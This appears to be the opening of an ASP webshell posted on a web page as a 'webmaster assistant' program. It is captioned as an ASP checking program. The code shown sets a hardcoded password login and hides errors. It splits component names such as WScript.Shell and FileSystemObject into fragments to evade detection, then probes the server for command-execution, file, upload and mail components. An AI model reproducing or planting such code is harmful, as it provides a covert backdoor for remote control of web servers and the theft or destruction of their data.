<%
  Server.ScriptTimeout=50000
  Response.Buffer = True
  On Error Resume Next
  ApplicationName = "站长助手6 增强版"
  UserPass = "123456" '登陆密码
  URL = Request.ServerVariables("URL")
  ServerIP = Request.ServerVariables("LOCAL_ADDR")
  Action = Request("Action")
  RootPath = Server.MapPath(".")
  WWWRoot = Server.MapPath("/")
  FolderPath = Request("FolderPath")
  FName = Request("FName")
  BackUrl = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
  
  If Session("webadmin")<>UserPass Then
   If Request.Form("Pass")<>"" Then
   If Request.Form("Pass")=UserPass Then
   Session("webadmin")=UserPass
   Response.Redirect URL
   Else
   response.write"验证失败！"
   End If
   Else
   SI="<center style='font-size:12px'><br><br>欢迎使用ASP站长助手<br><br>"
   SI=SI&"<form action='"&URL&"' method='post'>"
   SI=SI&"密码：<input name='Pass' type='password' size='15'>"
   SI=SI&" <input type='submit' value='登录'></form></center>"
   Response.Write SI
   End If
   Response.End
  End If
  
  sub ShowErr()
   If Err Then
   Response.Write"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
   Err.Clear:Response.Flush
   End If
  end sub
  
  
  Dim ObT(13,2)
  ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
   ObT(0,2) = "文件操作组件"
  ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
   ObT(1,2) = "命令行执行组件"
  ObT(2,0) = "ADOX.Catalog"
   ObT(2,2) = "ACCESS建库组件"
  ObT(3,0) = "JRO.JetEngine"
   ObT(3,2) = "ACCESS压缩组件"
  ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
   ObT(4,2) = "数据流上传辅助组件"
  ObT(5,0) = "Adodb.connection"
   ObT(5,2) = "数据库连接组件"
  ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
   ObT(6,2) = "数据流上传组件"
  ObT(7,0) = "SoftArtisans.FileUp"
   ObT(7,2) = "SA-FileUp 文件上传组件"
  ObT(8,0) = "LyfUpload.UploadFile"
   ObT(8,2) = "刘云峰文件上传组件"
  ObT(9,0) = "Persits.Upload.1"
   ObT(9,2) = "ASPUpload 文件上传组件"
  ObT(10,0) = "JMail.SmtpMail"
   ObT(10,2) = "JMail 邮件收发组件"
  ObT(11,0) = "CDONTS.NewMail"
   ObT(11,2) = "虚拟SMTP发信组件"
  ObT(12,0) = "SmtpMail.SmtpMail.1"
   ObT(12,2) = "SmtpMail发信组件"
  ObT(13,0) = "Microsoft.XMLHTTP"
   ObT(13,2) = "数据传输组件"
  
  For i=0 To 13
   Set T=Server.CreateObject(ObT(i,0))
   If -2147221005 <> Err Then
   IsObj=True
   Else
   IsObj=false
   Err.Clear
   End If
   Set T=Nothing
   ObT(i,1)=IsObj
  Next
  
  
  Function RePath(S)
   RePath=Replace(S,"\","\\")
  End Function

[1] [2]  <<>> 一个ASP判断程序